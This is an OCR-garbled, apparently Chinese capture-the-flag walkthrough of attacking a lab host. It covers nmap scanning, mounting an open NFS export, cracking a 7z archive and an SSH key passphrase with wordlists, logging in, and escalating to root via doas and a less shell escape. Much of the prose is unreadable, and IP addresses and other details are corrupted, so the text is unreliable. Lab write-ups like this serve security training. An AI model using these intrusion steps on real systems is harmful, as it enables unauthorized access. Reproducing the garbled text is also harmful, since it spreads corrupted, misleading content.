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nmap #

nmap -sS -Pn -A 10.129.10.105EHEIFBHIH O MRS : 22-ssh. 111-rpcbind. 2049-nfs. 612-
mountd, W&

22/tcp open szh OpenS8H 7.9 <protocol 2.8>

i ssh—hostkey:
2048 ef:3b:2e:cf:48:1%:%e:bh:23:1e:aa:24:a1:89:4e:d1 (RSA>
256 cB:5c:8b:Bb:el:bp4:Bc:?5:c3:63:d?:b3:80:cP:2f:d2 (ECDSA>
256 Gi:hc:45:9a:ha:a5:47:28:68:13:§5:19:hﬂ:4?:ch:ad (ED2551%9>

1lstcp open rpchind 2 <(RPC #1i08608>
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program version portsprote service

188608 11i-tcp rpchind

188608 111 udp rpchind

1868863 2849 /tcp nfs

1886083 284% /udp nfs

1886808% 6l2-tcp mountd
i_ 188885 675 udp mountd
204% tcp open nfs 2-3 <RPFC #1860883> A :
MAC Address: BE:BB:27:41:81:5A <(Oracle UirtualBox uirtl.@? l'lcl:z)oiﬁzg

mountdfiik 55 & &

showmount -e 10.129.10.105 KIMGEEMEEEHMER: /home/user/storage (everyone) iR
HEHAREH EFZEFRE RN THEHEF: /home/user/storage (everyone)

root@kali:~# showmount -e 19.129.10.185
Export list for 18.129.10.185:

/home/user/storage (everyone) @5101’0@@

H#HEF: mount -t nfs 10.129.10.105:/home/user/storage /tmp/test, RIFE—NELL
14 backup.7z

fREEAR, KRWAEN, T RIFIEHM Y5, 55 M v] F Hrarcrack % /7 B if BB IS 7z & 3517 7 JLR
. H, rarcrackBif#fi& N: rarcrack --threads 4 --type 7z backup.7z; (ZEBfRBIZA.

./7z-crack.sh /tmp/backup.7z /usr/share/wordlists/rockyou.txt

&, TZRMA R IhB AR B4 %M : chocolate

E4aXHiE
E488iEfE, KITid_rsafllid_rsa.pub, FTRFFM AT E#E@ETId rsa.pubB i, EXSHELLH@ETid rsa.pub
GhhR, ®TERMAEL, T2, #/HTRBMId_rsaXX %, .

./id_rsa-crack.sh /tmp/id_rsa /usr/share/wordlists/rouckyou.txt
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BJ5, £3id rsa®id: 12345678

shell##£

#HAshell)5, RIMH¥ATHIF R — A ksh, REGRFreeBsSD 6.4H), BRZERUAIZEAE 7 R EFIIRH,
TREELABERE. MRS L. KIletcHF T HdoaslL &, &I 41 H - 7] FdoasizF Flrootli

i /usr/bin/lessFKiilAl/var/log/auth.log¥f, FTRBEINNUXRAFHKSUIDRIL, F&, ZEMN
lessZshellfI Bk, &fELEBEE, ERENER; @dmAnERKIT] DMEHe R — s, TR
Ht Zlflag.
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